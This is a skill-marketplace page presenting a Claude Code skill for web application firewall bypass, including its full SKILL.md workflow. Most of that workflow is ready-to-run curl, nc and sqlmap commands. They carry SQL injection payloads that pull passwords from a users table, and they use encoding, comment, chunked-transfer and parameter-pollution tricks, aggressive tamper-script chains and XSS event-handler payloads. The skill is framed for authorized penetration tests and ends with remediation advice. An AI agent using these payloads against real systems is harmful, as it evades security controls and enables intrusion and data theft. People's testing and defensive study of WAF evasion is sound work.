Skip to main content
skill CX Codex

performing-web-application-firewall-bypass — Claude Code skill

performing-web-application-firewall-bypass guides security testing agents through bypassing web application firewalls. It provides obfuscation techniques, parameter pollution, and HTTP tricks to test SQLi and XSS payloads.

Apache-2.0 310 installs ★ 36,511 updated 2026-08-31

Install into Claude Code · Skills CLI (Vercel) All methods and platforms ↓
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-web-application-firewall-bypass -a claude-code
Open on GitHub

What performing-web-application-firewall-bypass does

The skill outlines a testing procedure to bypass web application firewalls during authorized assessments. It begins with fingerprinting using wafw00f and response headers such as cf-ray, x-amzn-requestid, or AkamaiGHost. Test payloads then evaluate whether the perimeter triggers block pages or 403 codes.

The workflow details evasion tactics across multiple vectors. For SQL injection, it utilizes double URL encoding, comment insertion like /*!UNION*/, null bytes, and SQLMap tamper scripts. Cross-site scripting evasion covers event handlers such as onpageshow and SVG syntax. Protocol tricks leverage chunked transfer encoding and alternative character sets like ibm037.

Automated execution depends on external tooling. The steps rely on Burp Suite Professional, wafw00f, and SQLMap installed in your testing environment. Without these tools, automated payload delivery will fail.

What it helps with

  • fingerprint WAF systems using wafw00f and HTTP response headers
  • obfuscate SQL injection payloads using SQLMap tamper scripts and inline comments
  • bypass input filters for XSS testing with event handlers and Unicode encoding
  • test protocol evasion using chunked transfer encoding and HTTP parameter pollution

Example prompts for the agent

  • Fingerprint the target at http://target.com and identify active WAF signatures
  • Apply SQLMap tamper scripts to bypass character filtering on the search parameter
  • Encode this XSS payload to evade script tag detection in the target form

How to install performing-web-application-firewall-bypass

1Skills CLI (Vercel)

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-web-application-firewall-bypass -a claude-code

2Manually: put the files in place

~/.claude/skills/performing-web-application-firewall-bypass/SKILL.md

Copy the whole skill folder; for one project use .claude/skills/performing-web-application-firewall-bypass/

Step by step, with commands for each platform: How to install skills in Claude Code: five ways

Questions about performing-web-application-firewall-bypass

How to install performing-web-application-firewall-bypass in Claude Code?

Run npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-web-application-firewall-bypass -a claude-code. This registers the skill files in your agent environment.

What is performing-web-application-firewall-bypass used for?

It directs penetration testers on bypassing WAF detection when verifying real vulnerabilities. It covers obfuscation, payload splitting, and protocol-level evasion.

Which tools are required to run the bypass workflow?

The workflow requires wafw00f for identification, Burp Suite Professional, and SQLMap for tamper scripts. It also relies on command-line utilities like curl and nc.

Source text

SKILL.md · Apache-2.0
---
name: performing-web-application-firewall-bypass
description: Bypasses Web Application Firewall protections using encoding tricks,
  HTTP method manipulation, parameter pollution, and payload obfuscation to smuggle
  SQL injection, XSS, and other exploit payloads past WAF detection rules. Use when
  a confirmed vulnerability is blocked by a WAF, during penetration tests or red
  team engagements requiring bypass of perimeter security controls, or when evaluating
  WAF rule effectiveness and bypass resistance.
domain: cybersecurity
subdomain: web-application-security
tags:
- waf-bypass
- waf-evasion
- sql-injection
- xss
- payload-obfuscation
- encoding-bypass
- web-security
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
mitre_attack:
- T1190
- T1059.007
- T1505.003
- T1083
- T1027
---

# Performing Web Application Firewall Bypass

## When to Use
- When confirmed vulnerabilities are blocked by WAF signature-based detection
- During penetration testing where WAF prevents exploitation of known issues
- When evaluating WAF rule effectiveness against evasion techniques
- During red team engagements requiring bypass of perimeter security controls
- When testing custom WAF rules for completeness and bypass resistance

## Prerequisites
- Burp Suite Professional with SQLMap integration
- wafw00f for WAF fingerprinting and identification
- SQLMap with tamper scripts for automated WAF bypass
- Understanding of WAF detection mechanisms (signature, regex, behavioral)
- Collection of encoding and obfuscation techniques per attack type
- Knowledge of HTTP protocol nuances exploitable for evasion

## Workflow

### Step 1 — Identify and Fingerprint the WAF
```bash
# Detect WAF using wafw00f
wafw00f http://target.com

# Manual WAF detection via response headers
curl -sI http://target.com | grep -iE "x-cdn|server|x-powered-by|x-sucuri|cf-ray|x-akamai"

# Trigger WAF with known bad payload and analyze response
curl "http://target.com/page?id=1' OR 1=1--" -v
# Look for: 403 Forbidden, custom block page, CAPTCHA challenge

# Common WAF indicators:
# Cloudflare: cf-ray header, __cfduid cookie
# AWS WAF: x-amzn-requestid
# ModSecurity: Mod_Security or OWASP CRS error messages
# Akamai: AkamaiGHost header
# Imperva: incap_ses cookie, visid_incap cookie
```

### Step 2 — Bypass with Encoding and Obfuscation
```bash
# URL encoding bypass
curl "http://target.com/page?id=1%27%20OR%201%3D1--"

# Double URL encoding
curl "http://target.com/page?id=1%2527%2520OR%25201%253D1--"

# Unicode encoding
curl "http://target.com/page?id=1%u0027%u0020OR%u00201%u003D1--"

# HTML entity encoding in body
curl -X POST http://target.com/search \
  -d "q=<script>alert&#40;1&#41;</script>"

# Mixed case SQL keywords
curl "http://target.com/page?id=1' UnIoN SeLeCt password FrOm users--"

# Inline comments between SQL keywords
curl "http://target.com/page?id=1'/*!UNION*//*!SELECT*/password/*!FROM*/users--"

# MySQL version-specific comments
curl "http://target.com/page?id=1' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3--"

# Null bytes
curl "http://target.com/page?id=1'%00 OR 1=1--"

# Tab and newline substitution for spaces
curl "http://target.com/page?id=1'%09UNION%0ASELECT%0D1,2,3--"
```

### Step 3 — Bypass with HTTP Method and Protocol Tricks
```bash
# Change HTTP method (WAFs may only inspect GET/POST)
curl -X PUT "http://target.com/page?id=1' OR 1=1--"
curl -X PATCH "http://target.com/page" -d "id=1' OR 1=1--"

# Use HTTP/0.9 (no headers)
printf "GET /page?id=1' OR 1=1-- \r\n" | nc target.com 80

# Content-Type manipulation
curl -X POST http://target.com/page \
  -H "Content-Type: application/x-www-form-urlencoded; charset=ibm037" \
  -d "id=1' OR 1=1--"

# Multipart form data (may bypass body inspection)
curl -X POST http://target.com/page \
  -F "id=1' OR 1=1--"

# Chunked Transfer-Encoding
printf "POST /page HTTP/1.1\r\nHost: target.com\r\nTransfer-Encoding: chunked\r\n\r\n4\r\nid=1\r\n11\r\n' OR 1=1--\r\n0\r\n\r\n" | nc target.com 80

# Parameter in unusual locations
curl http://target.com/page -H "X-Forwarded-For: 1' OR 1=1--"
curl http://target.com/page -H "Referer: http://target.com/page?id=1' OR 1=1--"
```

### Step 4 — Bypass with Payload Splitting and HPP
```bash
# HTTP Parameter Pollution
curl "http://target.com/page?id=1' UNION&id=SELECT password FROM users--"

# Split payload across parameters
curl "http://target.com/page?id=1'/*&q=*/UNION SELECT 1,2,3--"

# JSON-based SQLi (many WAFs miss JSON payloads)
curl -X POST http://target.com/api/query \
  -H "Content-Type: application/json" \
  -d '{"id": "1 AND 1=1 UNION SELECT password FROM users"}'

# JSON SQL injection with operators
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"query": {"$gt":"", "$where":"1==1"}}'

# XML-wrapped payloads
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/xml" \
  -d "<data><id>1' UNION SELECT password FROM users--</id></data>"
```

### Step 5 — Use SQLMap Tamper Scripts
```bash
# SQLMap with built-in tamper scripts
sqlmap -u "http://target.com/page?id=1" --tamper=between,randomcase,space2comment

# Common tamper scripts for WAF bypass:
sqlmap -u "http://target.com/page?id=1" --tamper=charunicodeencode
sqlmap -u "http://target.com/page?id=1" --tamper=space2mssqlhash
sqlmap -u "http://target.com/page?id=1" --tamper=percentage
sqlmap -u "http://target.com/page?id=1" --tamper=chardoubleencode,between

# Multiple tamper scripts combined
sqlmap -u "http://target.com/page?id=1" \
  --tamper=randomcase,space2comment,between,charunicodeencode \
  --random-agent --level 5 --risk 3

# Custom WAF bypass profile
sqlmap -u "http://target.com/page?id=1" \
  --tamper=space2comment,randomcase \
  --delay=2 --random-agent \
  --technique=B --batch
```

### Step 6 — XSS WAF Bypass Techniques
```bash
# Case variation
curl "http://target.com/page?q=<ScRiPt>alert(1)</ScRiPt>"

# Event handler alternatives
curl "http://target.com/page?q=<img src=x oNerRor=alert(1)>"
curl "http://target.com/page?q=<svg/onload=alert(1)>"
curl "http://target.com/page?q=<body onpageshow=alert(1)>"
curl "http://target.com/page?q=<marquee onstart=alert(1)>"

# JavaScript URI scheme
curl "http://target.com/page?q=<a href=javascript:alert(1)>click</a>"

# Template literal syntax
curl "http://target.com/page?q=<script>alert\x601\x60</script>"

# Concatenation-based bypass
curl "http://target.com/page?q=<script>al\u0065rt(1)</script>"

# HTML encoding within attributes
curl "http://target.com/page?q=<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>"

# Double encoding
curl "http://target.com/page?q=%253Cscript%253Ealert(1)%253C%252Fscript%253E"
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| Signature Evasion | Obfuscating payloads to avoid matching WAF regex patterns |
| Encoding Bypass | Using URL, Unicode, or HTML encoding to disguise malicious characters |
| Protocol-Level Bypass | Exploiting HTTP protocol features (chunked encoding, method override) |
| Tamper Scripts | SQLMap modules that transform payloads to evade specific WAF rules |
| Content-Type Confusion | Sending payloads in unexpected content types the WAF does not inspect |
| Parameter Pollution | Splitting payloads across duplicate parameters to evade per-parameter inspection |
| Behavioral vs Signature | WAF detection modes: pattern matching (bypassable) vs. anomaly detection (harder) |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| wafw00f | WAF fingerprinting and identification |
| SQLMap | Automated SQL injection with WAF bypass tamper scripts |
| waf-bypass.com | Community-maintained WAF bypass payload database |
| Awesome-WAF | Curated GitHub repository of WAF bypass techniques |
| Burp Suite | HTTP proxy for manual payload crafting and WAF response analysis |
| XSStrike | XSS scanner with WAF detection and bypass capabilities |

## Common Scenarios

1. **SQLi Through JSON** — Bypass WAF by sending SQL injection payloads inside JSON request bodies that are not inspected by the WAF rules
2. **XSS via Event Handlers** — Use alternative HTML event handlers (onpageshow, onanimationstart) not covered by WAF signature rules
3. **Encoding Chain Bypass** — Apply multiple layers of encoding (URL + Unicode + HTML entity) to evade each decoding layer of the WAF
4. **Chunked Transfer Bypass** — Split malicious payload across HTTP chunked transfer encoding segments to avoid pattern matching
5. **Method Override** — Send attack payloads via PUT/PATCH methods or custom headers that WAF does not inspect

## Output Format

```
## WAF Bypass Assessment Report
- **Target**: http://target.com
- **WAF Identified**: Cloudflare (via cf-ray header)
- **Bypass Achieved**: Yes

### WAF Detection Results
| Payload Type | Blocked | Bypass Found |
|-------------|---------|-------------|
| Basic SQLi | Yes | Yes (JSON encoding) |
| UNION SELECT | Yes | Yes (inline comments) |
| XSS <script> | Yes | Yes (SVG onload) |
| Path Traversal | No | N/A (not blocked) |

### Successful Bypass Payloads
| # | Original (Blocked) | Bypass Payload | Technique |
|---|-------------------|---------------|-----------|
| 1 | 1' OR 1=1-- | {"id":"1' OR 1=1--"} | JSON content-type |
| 2 | UNION SELECT | /*!50000UNION*/ /*!50000SELECT*/ | MySQL version comments |
| 3 | <script>alert(1)</script> | <svg/onload=alert(1)> | Alternative tag+event |

### Remediation
- Enable JSON body inspection in WAF rules
- Implement behavioral analysis alongside signature detection
- Add rules for uncommon HTML tags and event handlers
- Enable deep content inspection for all HTTP methods
- Implement request normalization before rule evaluation
```

© mahipal · Apache-2.0 · mukul975/Anthropic-Cybersecurity-Skills

Similar skills

All skills for Security →
azure-web-application-firewall MicrosoftDocs azure-web-application-firewall — a skill for Claude Code guides the AI through Azure WAF setup, rule tuning, rate limits, and bot protection. Operates across Front Door and Application Gateway deployments. CX Codex +1 186installs top-web-vulnerabilities zebbern top-web-vulnerabilities — a Claude Code skill that brings a 100-entry vulnerability reference into the agent's context, organized across 15 categories aligned with OWASP and real attack patterns. CX Codex +1 1,019installs waf-bypass-and-payload-obfuscation W4L33Dx waf-bypass-and-payload-obfuscation is a Claude Code skill that guides firewall evasion and input filter bypassing. Engages when an attack payload triggers a block despite an underlying security flaw. CX Codex +1 ★ 73repo stars ghost-bits-cast-attack yaklang ghost-bits-cast-attack is a Claude Code skill showing how a 16-bit Java char narrows to an 8-bit byte and bypasses WAFs before SQLi, deserialization and webshell uploads. CX Codex +1 3,700installs waf-bypass-techniques yaklang waf-bypass-techniques — a skill offering WAF evasion methods for injection testing. It guides payload mutation through encoding, chunked requests, and parser discrepancies. CX Codex +1 4,200installs security-reviewer Affaan Mustafa The security-reviewer subagent for Claude Code scans code for SQL injections, hardcoded secrets, unsafe crypto, and OWASP Top 10 issues after work on user input, authentication, or API endpoints. CX Codex ★ 6,739repo stars

From the same set152

The whole set →
analyzing-outlook-pst-for-email-forensics The analyzing-outlook-pst-for-email-forensics skill parses Outlook PST and OST files to extract messages, headers, attachments, and deleted items. Use it for email forensics or incident response. CX Codex +1 315installs analyzing-ransomware-leak-site-intelligence analyzing-ransomware-leak-site-intelligence collects structured victim data from ransomware data leak sites and tracks group trends. Helps threat intelligence teams build risk assessments. CX Codex +1 313installs analyzing-powershell-script-block-logging The analyzing-powershell-script-block-logging skill parses PowerShell Script Block Logging events from EVTX files and flags obfuscated commands, Base64 payloads and AMSI bypass attempts. CX Codex +1 313installs analyzing-ransomware-encryption-mechanisms analyzing-ransomware-encryption-mechanisms analyzes ransomware encryption schemes, key management routines, and file structures. Helps evaluate whether encrypted files can be recovered without paying a ransom. CX Codex +1 312installs auditing-aws-s3-bucket-permissions auditing-aws-s3-bucket-permissions audits AWS S3 bucket permissions, public access, bucket policies, and encryption via AWS CLI and Prowler. Helps baseline new cloud accounts and verify compliance for SOC 2 or PCI DSS. CX Codex +1 307installs analyzing-office365-audit-logs-for-compromise analyzing-office365-audit-logs-for-compromise parses Office 365 Unified Audit Logs via Microsoft Graph API to spot inbox forwarding rules, mailbox delegation, and rogue OAuth app grants. CX Codex +1 304installs exploiting-jwt-algorithm-confusion-attack The exploiting-jwt-algorithm-confusion-attack skill tests JWT authentication for algorithm switching, alg:none, and key-header issues. Use it for authorized API security checks. CX Codex +1 303installs analyzing-powershell-empire-artifacts The analyzing-powershell-empire-artifacts skill hunts for PowerShell Empire traces in Windows event logs and builds a report with IOCs, decoded payloads, and MITRE ATT&CK mappings. CX Codex +1 303installs

Project sponsors

Companies that keep this analytics open